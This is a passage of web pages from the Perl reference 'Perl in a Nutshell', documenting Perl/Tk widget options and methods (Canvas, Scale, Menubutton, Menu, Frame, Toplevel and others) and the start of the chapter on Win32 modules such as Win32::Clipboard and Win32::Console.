-rmargin => amount

The right margin.

-spacing1 => amount

The amount of space left on the top of a line of text that starts on its own line.

-spacing2 => amount

The amount of space left on the top of a line of text after it has been automatically wrapped by the text widget.

-spacing3 => amount

The amount of space left after a line of text that has been ended by "\n".

-tabs => list

A list of tab stops to use in the text widget.

-underline => boolean

Whether to underline the text.

-wrap => mode

Sets the mode for determining automatic line wrapping. Values are "none" (no wrapping), "char" (wrap at any character), or "word" (wrap at a word boundary).

tagCget

Returns configuration settings for a tag.

tagDelete

Deletes the specified tag(s).

tagRemove

Removes the tags from the text in the specified index range. (The tag itself remains defined, but is no longer applied to that text.)

tagRaise

Increases priority for a specified tag. With only one argument, the tag takes highest priority over all others; with a second argument of another tag, the tag's priority is just higher than the second tag. For example:

$text->tagRaise('bold','italic');

tagLower

Decreases priority for a specified tag. With only one argument, the tag takes lowest priority to all others; with a second argument of another tag, the tag's priority is just lower than the second tag. For example:

$text->tagLower('italic','bold');
(The outcome of this code is effectively identical to that of the previous example.)

tagNames

Returns the names of all tags applying to the specified index. With no index specified, returns all tags defined for the text widget, regardless of whether they have been applied.

@defined_tags = $text->tagNames;

tagRanges

Returns a list of index ranges to which the specified tag is defined. The returned list contains pairs of starting and ending indexes for the ranges.

@bold_indexes = $text->tagRanges('bold');

tagNextrange

Given a tag name and an index, returns the next index range to which the specified tag is defined.

@next_bold = $text->tagRanges('bold', 'insert');

18.11.4 Marks

A mark refers to a particular position in between characters in a text widget. Once you create a mark, you can use it as an index. The gravity of the mark affects which side the text is inserted. "Right" gravity is the default, in which case the text is inserted to the right of the mark.

The two marks that are automatically set are "insert" and "current". The "insert" mark refers to the position of the insert cursor. The "current" mark is the position closest to the mouse cursor.

The following methods are defined for marking:

markGravity

Sets the gravity of a mark. For example:

$text->markGravity('insert', 'left');

markNames

Returns a list of all marks defined for the text widget.

markSet

Creates a mark at a specified index.

$text->markSet('saved', 'insert');

markUnset

Deletes mark(s) from the text widget.

$text->markUnset('saved');

Note that you cannot delete the "insert" or "current" marks.

Previous: 18.10 The Listbox Widget | Perl in a Nutshell | Next: 18.12 The Canvas Widget
18.10 The Listbox Widget | Book Index | 18.12 The Canvas Widget


[Chapter 18] 18.12 The Canvas Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.12 The Canvas Widget

Create a canvas for drawing with the Canvas method. The Canvas widget uses a coordinate system with the x coordinate increasing as you move right, and the y coordinate increasing as you move down (i.e., the y coordinate is mathematically upside-down). The x and y coordinates are specified in pixels by default.

$parentwidget->Canvas ( options)
The standard configuration options that apply to Canvas are: -background, -borderwidth, -cursor, -height, -highlightbackground, -highlightcolor, -highlightthickness, -insertbackground, -insertborderwidth, -insertofftime, -insertontime, -insertwidth, -relief, -selectbackground, -selectborderwidth, -selectforeground, -takefocus, -width, -xscrollcommand, and -yscrollcommand.

Other options are:

-closeenough => amount

The distance considered "close enough" to an item to be judged to be within it. Default is 1 pixel.

-confine => boolean

Whether to limit the canvas to the scroll region. Default is 1.

-scrollregion => [ x, y, w, h ]

Sets the region that the user is allowed to scroll. The option is a list reference that conveniently corresponds to the return value of the bbox method.

-xscrollincrement => amount

The distance to use for scrolling in the x direction.

-yscrollincrement => amount

The distance to use for scrolling in the y direction.

18.12.1 Canvas Creation Methods

To place graphic elements in a canvas, there are several item creation commands:

createArc

Creates an arc contained within the given bounding box. For example, to create an oval bounded by the box from (0,0) to (40,100):

$canvas->createArc(0,0,40,100, -extent => 360);
The -extent option gives a number between 0 and 360 defining the length of the arc. The default -extent is 90, or 1/4 of an oval; an extent of 360 gives you a full oval. The complete list of options to createArc is:
-extent => degrees

Creates an arc of the specified extent. degrees can be any number between 0 and 360, as described above.

-fill => color

Fills the arc with the specified color.

-outline => color

Draws the arc with the specified color (default = black).

-outlinestipple => bitmap

Draws the outline with the specified bitmap pattern.

-start => degrees

Starts drawing the arc from the specified position, where the position is represented by a number from 0 to 360. The default is 0, which means to start drawing at the 3 o'clock position.

-stipple => bitmap

Uses the specified bitmap to fill the arc (if -fill is also specified).

-style => type

Draws the arc as specified. Values are:

'pieslice'

Draws lines from the center to the ends of the arc (the default).

'chord'

Draws a line connecting the two ends of the arc.

'arc'

Draws the arc with no other lines.

-tags => tagnames

Associates the arc with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

-width => amount

The width of the outline. Default is 1.

createBitmap

Inserts a bitmap. For example, to place the "calculator" bitmap at the (0,0) coordinates:

$canvas -> createBitmap(0, 0, -bitmap => 'calculator');
Options are:
-anchor => position

Anchors the bitmap at the specified position. Values are "center" (default), "n", "e", "s", "w", "ne", "nw", "se", and "sw".

-background => color

Specifies the color to use for the "0" pixels in the bitmap (default is to be transparent).

-bitmap => bitmap

Specifies the bitmap name. For a built-in bitmap, just specify the name; for a local bitmap file, specify the name with an "@" symbol preceding it.

-foreground => color

Specifies the color to use for the "1" pixels in the bitmap (default is black).

-tags => tagnames

Associates the bitmap with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

createImage

Creates an image. For example, to place an image at (0,0):

$canvas->createImage(0,0, -image => $imgptr);
Options are:
-anchor => position

Anchors the image at the specified position. Values are "center" (default), "n", "e", "s", "w", "ne", "nw", "se", and "sw".

-image => $imgptr

$imgptr is a pointer to a Photo or Image object made using a GIF or PPM file. For example:

$imgptr = $mainwindow->Photo(-file => "doggie.gif");

-tags => tagnames

Associate the image with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

createLine

Creates a line or several adjoining lines. For example, to create a line from (0,0) to (100, 100) and then back to (100, 0):

$canvas->createLine (0,0,100,100,100,0);
The first four coordinates are required. Any additional coordinates are taken to represent a continuation of that line. Options are:
-arrow => position

Specifies where to place arrowheads. Values are 'none' (default), 'first', 'last', and 'both'.

-arrowshape => [ head, length, flare ]

Specifies the dimensions of the arrow as a three-element anonymous list, describing (in order) the distance from the base to the "head" of the arrow, the distance from the rear point(s) to the head of the arrow, and the distance from the rear point(s) to the line.

-capstyle => type

Defines the type of arrowhead. Values are "butt" (the default), "projecting", and "round".

-fill => color

The color to use to draw the line.

-joinstyle => type

Defines how multiple lines are joined. Values are "miter" (default), "bevel", and "round".

-smooth => boolean

Determines whether the lines are drawn with a Bezier spine. Default is 0.

-splinesteps => n

Determines how smooth the Bezier curve is.

-stipple => bitmap

Draws the line with the specified bitmap pattern.

-tags => tagnames

Associates the line with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

-width => amount

The width of the line (default = 1 pixel).

createOval

Creates an oval. For example, to create a circle bounded by the box from (50,50) to (150,150):

$canvas->createOval(50,50,150,150);
Options are:
-fill => color

Fills the arc with the specified color.

-outline => color

Specifies the color for the outline (default = black).

-stipple => bitmap

Specifies a bitmap to fill the oval with.

-tags => tagnames

Associates the oval with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

-width => amount

The width of the outline (default = 1 pixel).

createPolygon

Creates a polygon. At least three sets of coordinates are required; the first point is automatically connected to the last point to complete the polygon.

$canvas -> createPolygon(0,0,130, 20, 90, -35);
Options are:
-fill => color

The color to use to fill the polygon.

-outline => color

Specifies the color for the outline (default = black).

-smooth => boolean

Determines whether the outline is drawn with a Bezier spine. Default is 0.

-splinesteps => n

Determines how smooth the Bezier curve is.

-stipple => bitmap

Fills the polygon with the specified bitmap pattern.

-tags => tagnames

Associates the polygon with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

-width => amount

The width of the outline (default = 1 pixel).

createRectangle

Creates a rectangle. For example, to create a square with one corner at (0,0) and another at (100,100):

$canvas->createRectangle(0,0,100,100);
Options are:
-fill => color

The color to use to fill the rectangle.

-outline => color

Specifies the color for the outline (default = black).

-stipple => bitmap

Fills the rectangle with the specified bitmap pattern.

-tags => tagnames

Associates the rectangle with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

-width => amount

The width of the outline (default = 1 pixel).

createText

Places text in a canvas widget. For example, to write "Broadway" centered at the position (130,-40):

$canvas->createText(130,-40, -text => "Broadway");
Options are:
-anchor => position

Anchors the text at the specified position. Values are "center" (default), "n", "e", "s", "w", "ne", "nw", "se", and "sw".

-fill => color

The color to use for the text.

-font => fontname

The font for the text.

-justify => position

The justification of the text (any of 'left', 'right', and 'center'). The default is 'left'.

-stipple => bitmap

Fills the text with the specified bitmap pattern.

-tags => tagnames

Associates the text with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

-text => string

Specifies the text to display.

-width => amount

The maximum length of each line of text. Default is 0, which means that lines are only broken at explicit newline characters.

There is a set of methods for manipulating text items within a Canvas widget. For each of these methods, the first argument is the tag name or tag ID, and subsequent arguments use text indexes as described for the Text widget.

dchars

Deletes characters from a text item, given the tag name or ID, and indexes of the first and last characters to delete.

icursor

Places the insert cursor at the specified index.

index

Gets a numerical index from a named one.

insert

Adds a string to the text item.

createWindow

Embeds another widget inside of a canvas. The widget must have been already created as a child of the canvas or of the canvas's parent. Options are:

-anchor => position

Anchors the widget at the specified position. Values are "center" (default), "n", "e", "s", "w", "ne", "nw", "se", and "sw".

-height => amount

Specifies the height of the widget.

-tags => tagnames

Associates the widget with the specified tag(s). Multiple tag names can be supplied as an anonymous list.

-width => amount

The width of the widget.

-window => $widget

Specifies the widget to embed.

18.12.2 Item Tags and IDs

Each item in a Canvas Widget is given a unique ID when it is created. This ID is returned from the canvas creation command. In addition, each item can have a tag associated with it, either when created or with the addtag method. You can use either the ID or the tag to refer to an item in the canvas. Unlike IDs, tags do not have to be unique, which makes it possible to configure several items as a group.

Two special tags are created automatically. The "all" tag refers to all items in the canvas. The "current" tag refers to the item that the cursor is currently over, if any.

18.12.3 Canvas Methods

In addition to configure and cget, the following methods are supported by the Canvas widget.

addtag

Defines a tag for an already-created canvas item. For example, to assign a tag called "everything" to all items in a canvas:

$canvas->addtag("everything", "all");
To change the tag for an item from "tmp" to "circle":
$canvas->addtag("circle", "withtag", "tmp");
To assign the tag "origin" to the item closest to the coordinates (0,0):
$canvas->addtag("origin", "closest", 0, 0);
The full list of identifiers is:
above

Assigns the tag to the item above the specified item in the display list.

all

Assigns the tag to all items in the canvas.

below

Assigns the tag to the item below the specified item in the display list.

closest

Assigns the tag to the item closest to the specified x,y coordinate.

enclosed

Assigns the tag to all items that are completely enclosed within the specified bounding box.

overlapping

Assigns the tag to all items that are even partially inside the specified bounding box.

withtag

Assigns the tag to all items with the specified tag.

bind

Binds a callback to an item. (To bind a callback to the canvas widget itself, you must specify Tk::bind.)

bbox

Returns the bounding box of an item. For example, to get the bounding box for all items in the canvas:

$canvas->bbox("all");

itemconfigure

Configures one of the items within the canvas. Works just like the configure method for widgets, but the first argument is the tag name or ID for the canvas item.

itemcget

Gets configuration information for one of the items within the canvas. Works just like the cget method for widgets, but the first argument is the tag name or ID for the canvas item.

move

Moves an item on the canvas by adding the specified x and y distances to it.

$canvas->move("circle1", 100, 100);

coords

Gets the current x,y coordinates for an item, or moves an item to an explicit x,y coordinate.

lower

Sets the priority for the item in the display list to be lower than the item identified by the specified tag or ID.

raise

Sets the priority for the item in the display list to be higher than the item identified by the specified tag or ID.

delete

Removes an item from the canvas. You can specify as many tags or IDs in the argument list as you want.

find

Finds the specified items. The first argument can be any of:

above

Finds the item above the specified item in the display list.

all

Finds all items in the canvas.

below

Finds the item below the specified item in the display list.

closest

Finds the item closest to the specified x,y coordinate.

enclosed

Finds all items that are completely enclosed within the specified bounding box.

overlapping

Finds all items that are even partially inside the specified bounding box.

withtag

Finds all items with the specified tag.

gettags

Retrieves a list of all tags associated with an item.

type

Determines the type of the specified item.

focus

Assigns the keyboard focus to the specified item.

postscript

Renders the canvas as PostScript. Options are:

-colormap => \@colorcommand

Specifies a PostScript command for setting color values.

-colormode => mode

Sets the mode to "color" (full color), "gray" (grayscale), or "mono" (black and white).

-file => filename

The name of the file to store the PostScript output.

-fontmap => \@fontspec

Specifies a font name and point size.

-height => size

The height of the area to print.

-pageanchor => position

The anchor position of the page. Values are "center" (default), "n", "e", "s", and "w".

-pageheight => height

The height of the printed page.

-pagewidth => width

The width of the printed page.

-pagex => x

The x positioning point.

-pagey => y

The y positioning point.

-rotate => boolean

Whether to rotate to landscape orientation. Default is 0.

-width => size

The width of the area to print.

-x => x

The left edge of the canvas.

-y => y

The top edge of the canvas.

scale

Changes the scaling of the canvas or any individual items. For example, to scale the entire canvas to half its dimensions:

$canvas->scale("all", 0, 0, .5, .5);

xview

Manipulates the canvas area in view. With no arguments, returns a list of two numbers between 0 and 1, defining what portion of the canvas is currently hidden on the left and right sides, respectively. With arguments, the function of xview changes:

moveto

Moves the specified fraction of the text to the left of the visible portion.

scroll

Scrolls the canvas left or right by the specified number of units or pages. Used primarily as a callback to a scrollbar; pressing on an arrow would move by units (characters), and pressing on the trough would move by pages. The number is either 1 or -1, to move forwards or backwards, respectively.

yview

Manipulates the canvas in view. With no arguments, returns a list of two numbers between 0 and 1, defining what portion of the canvas is currently hidden on the top and bottom, respectively. With arguments, its function changes:

moveto

Moves the specified fraction of the canvas area to the top of the visible portion.

scroll

Scrolls the canvas up or down by the specified number of units or pages. Used primarily as a callback to a scrollbar; pressing on an arrow would move by units (lines), and pressing on the trough would move by pages. The number is either 1 or -1, to move forwards or backwards, respectively.

Previous: 18.11 The Text Widget | Perl in a Nutshell | Next: 18.13 The Scale Widget
18.11 The Text Widget | Book Index | 18.13 The Scale Widget


[Chapter 18] 18.13 The Scale Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.13 The Scale Widget

Create a "slider" widget representing a numeric value with the Scale method.

$parent->Scale(options);
The standard configuration options that apply to Scale are: -activebackground, -background, -bg, -borderwidth, -bw, -cursor, -font, -foreground, -fg, -highlightbackground, -highlightcolor, -highlightthickness, -relief, -state, -takefocus, and -width.

Other options are:

-bigincrement => amount

The amount to change the slider when using large increments. Default is 0, which means 1/10 of the scale.

-command => callback

Pointer to a function that will be called for every incremental change in the slider.

-digits => amount

The number of digits to keep when converting from a number to a string.

-from => n

Low end of the scale (default = 0).

-label => string

The string to use as a label for the slider.

-length => amount

The length of the slider.

-orient => direction

The orientation of the slider. Values can be either 'vertical' (default) or 'horizontal'.

-repeatdelay => milliseconds

Determines the number of milliseconds to hold down an arrow before it will auto-repeat. Default is 300.

-repeatinterval => milliseconds

Determines the number of milliseconds between auto-repeats once it is started. Default is 100.

-resolution => value

The increments that the scale will change by (default = 1).

-showvalue => boolean

Whether to show the current value of the slider (default = 1).

-sliderlength => amount

The size of the slider. Default is 25 pixels.

-tickinterval => n

The number of "ticks" to display for the slider. Default is 0 (no ticks).

-to => n

The top value of the scale (default is 100).

-troughcolor => color

Changes the color of the trough.

-variable => \$variable

Assigns the value of the slider to the specified variable.

18.13.1 Scale Methods

In addition to configure and cget, the following methods are defined for the Scale widget:

get

Returns the current value if given no arguments. If given x and y coordinates as the first and second arguments, returns the value of the scale at that position.

set

Assigns the value associated with the scale.

coords

Returns the x and y coordinates associated with the value given in the first argument.

identify

Returns "slider", "trough1", "trough2", or "", depending on which part of the scale corresponds to the given x, y coordinates.

Previous: 18.12 The Canvas Widget | Perl in a Nutshell | Next: 18.14 The Menubutton Widget
18.12 The Canvas Widget | Book Index | 18.14 The Menubutton Widget


[Chapter 18] 18.14 The Menubutton Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.14 The Menubutton Widget

Create a menubutton with the Menubutton method. For example:

$mainwindow->Menubutton(-text => "File",
    -menuitems => [ [ 'command' => "New",
              "-command" => \&newfile,
              "-underline" => 0 ],
            [ 'command' => "Open",
              "-command" => \&openfile,
              "-underline" => 0 ],
            "-",
            [ 'command' => "Save",
              "-command" => \&savefile,
              "-underline" => 0 ],
            [ 'command' => "SaveAs",
              "-command" => \&saveasfile,
              "-underline" => 4 ] ] );
The -menuitems option takes a list of lists describing the menu items. For each menu item, an embedded anonymous list describes the type of menu item, the label to use, and the action to take when it is selected along with any other options desired to configure the menu item. In this example, each of the menu items is the 'command' type, and we use the -command option for each item to point to the callback to execute when the menu item is selected. We also use the -underline option to enable the user to select a menu item using keystrokes. (The \[quotedbl]-" represents a separator between menu items.)

In addition to 'command', other types of menus are:

'cascade'

Embeds a cascade menu.

'checkbutton'

Treats the menu item as a checkbutton.

'command'

Executes a callback.

'radiobutton'

Treats the menu item as a radiobutton.

You can configure both the menu itself and the individual menu items. The configuration options that apply to Menubutton are: -activebackground, -activeforeground, -anchor, -background, -bg, -bitmap, -borderwidth, -bw, -cursor, -disabledforeground, -font, -foreground, -fg, -height, -highlightbackground, -highlightcolor, -highlightthickness, -image, -justify, -padx, -pady, -relief, -state, -takefocus, -underline, -width, and -wraplength.

Other Menubutton options are:

-indicatoron => boolean

Determines whether or not to display an indicator.

-menu => $menu

Display the menu associated with $menu.

-menuitems => list

Specifies items to create in the menu as a list of lists. See the description at the beginning of this section.

-tearoff => boolean

Whether or not to allow the menu to be "torn off." Default is 1.

-text => string

Specifies the text to display as a label for the button.

-textvariable => \$variable

Points to the variable containing text to be displayed in the menubutton. Button text will change as $variable does.

18.14.1 Menu Item Options

In addition to the menu itself, each individual menu item can be configured. The widget configuration options that apply to menu items are: -activebackground, -background, -bg, -bitmap, -font, -foreground, -fg, -image, -state, and -underline. Other options are:

-accelerator

Displays an accelerator key sequence for the menu item. The key sequence must be independently defined with a bind.

-command => callback

Pointer to a function that will be called when the menu item is selected.

-indicatoron => boolean

Determines whether or not to display an indicator.

-label => string

The string to use as a label for the menu item.

-menu => $submenu

For a cascade menu, points to the menu to embed.

-offvalue => newvalue

For a checkbutton, specifies the value used when the checkbutton is "off."

-onvalue => newvalue

For a checkbutton, specifies the value used when the checkbutton is "on."

-selectcolor => color

For a checkbutton or radiobutton, color of the indicator when "on."

-selectimage => imgptr

For a checkbutton or radiobutton, defines the image to be displayed instead of text when the radiobutton is "on". Ignored if -image is not used.

-value => value

For a radiobutton, sets $variable to the specified value when the radiobutton is selected (default is 1).

-variable => \$variable

Associates the value of the menu item to the specified variable.

18.14.2 Menubutton Methods

In addition to configure and cget, the following methods are defined for Menubutton widgets:

AddItems

Adds menu items to the end of the menu. The arguments to AddItems are lists configuring each menu item, similar to the lists defined with the -menuitem option.

$menubutton->AddItems(["command" => "Print",
               "-command" => \&printscreen ],
              ["command" => "Exit",
               "-command" => \&exitclean ]);

command

Adds a command item to the end of the menu. The above example could have read:

$menubutton->command(-label => "Print", -command => \&printscreen);
$menubutton->command(-label => "Exit", -command => \&exitclean);

checkbutton

Adds a checkbutton item to the end of the menu.

$menubutton->checkbutton(-label => "Show Toolbar",
           [-variable => \$toolbar");

radiobutton

Adds a radiobutton item to the end of the menu.

$menubutton->radiobutton(-label => "Red", -variable => \$color");
$menubutton->radiobutton(-label => "Blue", -variable => \$color");

separator

Adds a separator line to the end of a menu.

cascade

Adds a cascade item to the end of the menu.

menu

Returns a reference to the menu.

entrycget

Gets information on a menu entry given an index and option to query.

entryconfigure

Changes information on a specific menu item given an index.

Previous: 18.13 The Scale Widget | Perl in a Nutshell | Next: 18.15 The Menu Widget
18.13 The Scale Widget | Book Index | 18.15 The Menu Widget


[Chapter 18] 18.15 The Menu Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.15 The Menu Widget

Create a menu with the Menu method, to be displayed later with the post method.

$menu = $parent->Menu(options)
The standard configuration options that apply to Menu are: -activebackground, -activeforeground, -background, -bg, -borderwidth, -bw, -cursor, -disabledforeground, -font, -foreground, -fg, -relief, and -takefocus.

Other options are:

-activeborderwidth => amount

Sets the width of the edges for the active menu item.

-menuitems => list

Specifies items to create in the menu as a list of lists.

-postcommand => callback

The command to invoke before the menu is posted, for example, to update the state of the menu items.

-tearoff => boolean

Whether or not to allow the menu to be "torn off." Default is 1.

-selectcolor => color

Color of the selection box for checkbuttons or radiobuttons.

18.15.1 Menu Indexes

Menus have indexes for manipulating individual menu items. They are:

n

Menu item n, with 0 representing the first item.

'active'

The current menu item.

'end' or 'last'

The last menu item.

'none'

No menu item.

@n

The menu item closest to the y coordinate specified by n.

'pattern'

The first menu item whose text matches the pattern.

18.15.2 Menu Methods

In addition to configure and cget, the following methods are defined for the Menu widget:

add

Adds items to the end of a menu. The first argument is the type of menu item to add, and additional arguments are options to the menu item. For example:

$menu = $mainwindow->Menu;
$menu->add( 'commnd', -label => "New", "-command" => \&newfile );

entrycget

Gets information on a specific menu item given an index.

entryconfigure

Changes information on a specific menu item given an index.

post

Displays the menu widget.

unpost

Removes the menu widget from display.

postcascade

Unposts a submenu and then posts the cascade menu associated with the menu item at the specified index.

delete

Removes menu items from the menu.

index

Given a named index, returns the numerical index for that menu item.

insert

Inserts a menu item at the specified index. Same as add, except that it takes an index as the first argument.

invoke

Invokes the menu item at the specified index as if it were selected.

type

Returns the type of menu item at the specified index.

yposition

Returns the y coordinate of the top-most pixel of the menu item.

Previous: 18.14 The Menubutton Widget | Perl in a Nutshell | Next: 18.16 The Optionmenu Widget
18.14 The Menubutton Widget | Book Index | 18.16 The Optionmenu Widget


[Chapter 18] 18.16 The Optionmenu Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.16 The Optionmenu Widget

Use the Optionmenu method to create an option menu, in which the selected item is the value displayed. For example:

$mainwindow->OptionMenu(-textvariable => \$platform,
        -options => [ [ "UNIX", "unix" ],
              [ "Windows NT", "winnt" ],
              [ "Macintosh", "mac" ] ]) -> pack;
The -options argument takes a list of menu items. If the description of the menu items that are displayed are different from the values stored, the menu items are themselves written as two-item lists.

The standard configuration options that apply to Optionmenu are: -activebackground, -activeforeground, -background, -bg, -bitmap, -borderwidth, -bw, -cursor, -disabledforeground, -font, -foreground, -fg, -highlightbackground, -highlightcolor, -highlightthickness, -image, -justify, -relief, -state, -takefocus, -underline, -width, and -wraplength.

Other options are:

-command => callback

The command to execute when a selection is made, with its arguments being the values of the -textvariable and -variable options.

-indicatoron => boolean

Determines whether or not to display an indicator.

-menu => $menu

Displays the menu associated with $menu.

-options => list

Lists the menu options, as described above.

-tearoff => boolean

Whether or not to allow the menu to be "torn off." Default is 1.

-text => string

Specifies the text to display as a label for the option menu.

-textvariable => \$variable

Points to the variable containing text to be displayed in the option menu.

-variable => \$variable

Points to a variable containing a stored value, distinct from the value shown in the option menu.

Previous: 18.15 The Menu Widget | Perl in a Nutshell | Next: 18.17 The Frame Widget
18.15 The Menu Widget | Book Index | 18.17 The Frame Widget


[Chapter 18] 18.17 The Frame Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.17 The Frame Widget

Create a frame for enclosing other widgets using the Frame method. For example:

$parent->Frame( options )
The standard configuration options that apply to Frame are: -background, -bg, -borderwidth, -bw, -cursor, -height, -highlightbackground, -highlightcolor, -highlightthickness, -relief, -takefocus, and -width.

Other options are:

-class => name

The class associated with the frame.

-colormap => \$window

Specifies another window to share the colormap with. You can point to another window or use the value "new" to specify a new colormap. Default is undef.

-label => string

The string to use as a label for the frame.

"-labelPack

Specifies options for the pack command.

-labelVariable => \$variable

Specifies a variable containing the text for the label.

-visual => type n

For the X Window System, changes the depth of colors.

Previous: 18.16 The Optionmenu Widget | Perl in a Nutshell | Next: 18.18 The Toplevel Widget
18.16 The Optionmenu Widget | Book Index | 18.18 The Toplevel Widget


[Chapter 18] 18.18 The Toplevel Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.18 The Toplevel Widget

Create a toplevel widget, displayed independently from the main window with the same decoration as the window system, using the Toplevel method.

The standard configuration options that apply to Toplevel are: -background, -bg, -borderwidth, -bw, -cursor, -height, -highlightbackground, -highlightcolor, -highlightthickness, -relief, -takefocus, and -width.

Other options are:

-class => name

The class associated with the toplevel widget.

-colormap => \$window

Specifies another window to share the colormap with. You can point to another window or use the value "new" to specify a new colormap. Default is undef.

-screen => screen

The screen to place the toplevel widget on.

-visual => type n

For the X Window System, changes the depth of colors.

18.18.1 Toplevel Methods

In addition to cget and configure, the following methods are supported by the Toplevel widget. Note that since the MainWindow is a Toplevel widget, each of these methods applies to the MainWindow as well.

aspect

Returns the constraints to the aspect of the window. The four-item list returned corresponds to the minimum width, the minimum height, the maximum width, and the maximum height.

client

Assigns a name to the toplevel window.

colormapwindows

For the X Window System, passes a list of windows to the window manager that have private colormaps. Controls the WM_COLORMAP_WINDOWS property.

command

For the X Window System, returns the command used to start the application.

deiconify

Displays an iconified window.

focusmodel

Gives up the keyboard focus to another window.

frame

Returns the ID of the parent widget as a hexadecimal string.

geometry

For the X Window System, gets the geometry of the toplevel widget.

grid

Changes the size of the toplevel's grid.

group

Makes the widget the group leader of a set of related windows.

iconbitmap

Identifies a bitmap to use as an icon when the window is iconified.

iconify

Iconifies the window.

iconmask

Specifies a mask for the icon bitmap.

iconname

Assigns text to be associated with the icon.

iconposition

Specifies a position for the icon on the desktop.

iconwindow

Specifies a widget to use in place of an icon when iconified.

maxsize

Specifies the largest size for the window.

minsize

Specifies the smallest size for the window.

overrideredirect

Removes window decorations from the window.

positionfrom

Returns either "program" or "user", to tell you whether the user or window manager requested its current position.

protocol

Given one of the window managers WM_DELETE_WINDOW, WM_SAVE_YOURSELF, or WM_TAKE_FOCUS, allows you to define a callback to execute when an associated event is detected.

resizable

Takes boolean values representing whether the window can be resized in width and height, respectively.

sizefrom

Returns either "program" or "user", to tell you whether the user or window manager requested its current size.

state

Returns "normal", "iconic", or "withdrawn", indicating the current state of the window.

title

Changes the title at the top of the window.

transient

Indicates to the window manager that the window is transient.

withdraw

Makes the window non-visible.

Previous: 18.17 The Frame Widget | Perl in a Nutshell | Next: VIII. Win32
18.17 The Frame Widget | Book Index | VIII. Win32


[Chapter 19] Win32 Modules and Extensions

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: VIII. Win32 Chapter 19 Next: 19.2 Win32::Console

19. Win32 Modules and Extensions

Contents:
Win32::Clipboard
Win32::Console
Win32::ChangeNotification
Win32::Eventlog
Win32::File
Win32::FileSecurity
Win32::Internet
Win32::IPC
Win32::Mutex
Win32::NetAdmin
Win32::NetResource
Win32::Process
Win32::Registry
Win32::Semaphore
Win32::Service
Win32::Shortcut
Win32 Extensions
OLE Automation

If you use Perl on a Win32 system, a number of extension modules are available to provide Windows-specific functionality. Extension modules consist of a regular module written in Perl and a library written in C or C++ that can implement native Windows calls. The core of available modules is bundled together as lib-win32 on CPAN, and with ActivePerl, Activestate's version of Perl for Win32. They provide such functionality as managing Windows processes, NT user administration, registry modification, and OLE automation.

The Win32 modules were originally written for Windows NT systems, so much of the functionality of the Win32 library is only applicable to Perl running on Windows NT. Many modules check to see which system they are on before installing. Many of the NT-specific modules such as NetAdmin and EventLog do not install at all on Windows 95. Modules like Registry do their best to work on both systems, despite the differences in their registries.

This chapter covers most of the modules and extensions included in lib-win32 and distributed with ActivePerl. Additional Windows modules are available at CPAN.

The following modules are described in this chapter:

Win32::Clipboard

Provide Windows clipboard interaction

Win32::Console

Provide Windows console interaction

Win32::ChangeNotification

Create and use ChangeNotification objects

Win32::EventLog

Read from and write to the Windows NT event log

Win32::File

Manage file attributes (read-only, system, hidden...)

Win32::FileSecurity

Manage ACLs in Perl

Win32::Internet

Provide extensions for Internet services

Win32::IPC

Wait for objects (processes, mutexes, semaphores)

Win32::Mutex

Create and use mutexes

Win32::NetAdmin

Administer users and groups

Win32::NetResource

Manage resources (servers, file shares, printers)

Win32::Process

Start and stop Win32 processes

Win32::Registry

Read and manage the Win32 Registry

Win32::Semaphore

Create and use semaphores

Win32::Service

Manage Windows NT services

Win32::Shortcut

Provide shell link interface

The reference material for the Clipboard, Console, Internet, and Shortcut modules was graciously provided by Aldo Capini, author and maintainer of many Win32 modules (http://www.divinf.it/dada/perl/).

The final section of this chapter describes OLE automation in Perl programs and details the Win32::OLE modules.

19.1 Win32::Clipboard

The Win32::Clipboard module allows you to manipulate the Windows clipboard. You can use the clipboard as an object with the following syntax:

$clip = Win32::Clipboard();
This functions as an implicit constructor. If you include a text string as an argument, that text will be placed on the clipboard. You can just use the package-qualified method names instead of the object syntax, since the clipboard is a single entity.
$text = Win32::Clipboard::Get();
Win32::Clipboard::Set("blah blah blah");
Win32::Clipboard::Empty();
Alternatively, you can use the clipboard as an object with this syntax:
$Clip = Win32::Clipboard();
$text = $Clip->Get();
$Clip->Set("blah blah blah");
$Clip->Empty();

Previous: VIII. Win32 | Perl in a Nutshell | Next: 19.2 Win32::Console
VIII. Win32 | Book Index | 19.2 Win32::Console


[Chapter 19] 19.2 Win32::Console

Perl in a Nutshell

Perl in a NutshellSearch this book

19.2 Win32::Console

Win32::Console implements the Win32 console and character mode functions. They give you full control on the console input and output, including: support of off-screen console buffers (e.g., multiple screen pages); reading and writing of characters, attributes, and whole portions of the screen; and complete processing of keyboard and mouse events.

The new constructor is used to create a console object. It can take two forms:

$con = Win32::Console->new(standard_handle);
$con = Win32::Console->new(accessmode, sharemode);
The first form creates a handle to a standard channel. standard_handle can be one of STD_OUTPUT_HANDLE, STD_ERROR_HANDLE, or STD_INPUT_HANDLE.

The second form creates a console screen buffer in memory, which you can access for reading and writing as a normal console, and then redirect on the standard output (the screen) with Display. In this case, you can specify accessmode to be GENERIC_READ, GENERIC_WRITE, or both, determining the permissions you will have on the created buffer.

sharemode affects the way the console can be shared. It can be specified either as FILE_SHARE_READ, FILE_SHARE_WRITE, or both. If you don't specify any of those parameters, all four flags will be used.

Methods supported by the Win32::Console module are:

  • Alloc
  • Attr
  • Cls
  • Cursor
  • Display
  • FillAttr
  • FillChar
  • Flush
  • Free
  • GenerateCtrlEvent
  • GetEvents
  • Info
  • Input
  • InputChar
  • InputCP
  • MaxWindow
  • Mode
  • MouseButtons
  • OutputCP
  • PeekInput
  • ReadAttr
  • ReadChar
  • ReadRect
  • Scroll
  • Select
  • Size
  • Title
  • Window
  • Write
  • WriteAttr
  • WriteChar
  • WriteInput
  • WriteRect

19.2.1 Constants

The following constants are exported in the main namespace of your script using Win32::Console:

